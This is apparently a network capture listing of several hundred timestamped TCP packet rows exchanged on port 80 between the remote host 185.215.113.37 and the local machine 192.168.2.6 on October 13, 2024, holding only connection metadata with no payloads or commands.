Oct 13, 2024 14:49:24.222754955 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.222775936 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.222779036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.222795010 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.222800970 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.222810030 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.222820997 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.222826004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.222841978 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.222852945 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.222882032 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.223234892 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.223249912 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.223263979 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.223278046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.223283052 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.223293066 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.223308086 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.223315954 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.223323107 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.223337889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.223341942 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.223354101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.223364115 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.223367929 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.223392010 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.223407984 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.223417997 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.223417997 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.223452091 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.223906994 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.223921061 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.223936081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.223949909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.223954916 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.223965883 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.223980904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.223987103 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.223995924 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224006891 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.224011898 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224026918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224028111 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.224041939 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224047899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.224057913 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224071980 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224087000 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224087000 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.224107027 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.224124908 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.224600077 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224615097 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224628925 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224643946 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224649906 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.224658012 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224669933 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.224673986 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224689960 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224699974 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.224704981 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224715948 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.224720955 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224735022 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224741936 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.224750996 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224764109 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224775076 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.224778891 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224795103 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224801064 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.224811077 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224816084 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.224824905 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.224836111 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.224855900 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.224877119 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.225537062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225552082 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225567102 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225573063 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.225581884 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225596905 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225605011 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.225610971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225620985 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.225625992 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225641966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225649118 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.225649118 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.225655079 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225670099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225683928 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225686073 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.225697994 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225703955 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.225713015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225723982 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.225727081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225742102 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225749016 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.225756884 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225775003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225774050 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.225790024 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225795031 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.225804090 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225810051 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.225819111 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.225835085 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.225867033 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.226407051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.226423025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.226435900 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.226442099 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.226453066 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.226466894 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.226476908 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.226483107 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.226495028 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.226504087 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.226510048 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.226524115 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.226526022 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.226540089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.226545095 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.226556063 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.226566076 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.226572037 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.226586103 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.226600885 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.226617098 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.226825953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.226869106 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.226902008 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.226917028 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.226937056 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.226963043 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.227044106 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.227058887 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.227072954 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.227078915 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.227087975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.227099895 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.227103949 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.227116108 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.227135897 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.227164984 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.227252960 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.227268934 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.227293015 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.227319956 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.228354931 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.228415966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.228424072 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.228432894 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.228455067 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.228477001 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.228507996 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.228523016 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.228544950 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.228570938 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.228601933 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.228615999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.228657007 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.228688955 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.228702068 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.228729963 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.228760004 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.310497046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.310514927 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.310524940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.310532093 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.310539961 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.310547113 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.310554981 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.310561895 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.310745001 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.310791016 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.310806036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.310842991 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.310842991 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.310852051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.310842991 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.310867071 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.310883045 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.310897112 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.310914993 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.310930014 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.310929060 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.310929060 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.310929060 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.310929060 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.310961962 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.310961962 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.310981989 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.310985088 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.310997009 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311012030 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311026096 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311041117 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311054945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311063051 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.311069965 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311100006 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.311144114 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.311330080 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311346054 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311359882 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311369896 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.311373949 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311393976 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.311414003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311429024 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311436892 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.311438084 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.311445951 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311459064 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.311479092 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.311496973 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.311639071 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311666012 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311681032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311688900 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.311722040 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.311722040 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.311763048 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311778069 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311791897 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311806917 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.311815023 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.311815023 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.311836004 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.311860085 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.312035084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312050104 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312064886 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312078953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312087059 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.312094927 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312108994 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312113047 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.312124014 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312134027 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.312139034 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312154055 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312155008 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.312169075 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312174082 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.312206030 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.312447071 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312462091 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312477112 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312499046 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.312524080 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.312596083 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312609911 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312623978 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312638998 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312645912 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.312664032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312670946 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.312680006 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312690973 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.312695980 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312711954 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312720060 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.312731981 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.312743902 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.312777042 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.313231945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.313246965 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.313261986 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.313276052 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.313283920 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.313290119 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.313303947 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.313306093 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.313319921 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.313325882 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.313333988 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.313354015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.313359976 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.313369036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.313374996 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.313393116 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.313400984 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.313406944 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.313417912 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.313422918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.313438892 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.313445091 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.313445091 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.313455105 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.313482046 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.313482046 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.313502073 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.314062119 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314076900 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314091921 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314106941 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314114094 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.314122915 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314137936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314141989 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.314155102 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314162970 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.314169884 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314179897 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.314187050 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314201117 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314204931 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.314217091 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314225912 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.314232111 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314248085 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.314248085 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314264059 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314268112 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.314279079 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314289093 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.314291000 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314306021 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314321041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314330101 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.314331055 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.314352036 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.314368010 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.314914942 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314932108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314944983 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.314960003 CEST	80	49720	185.215.113.37	192.168.2.6
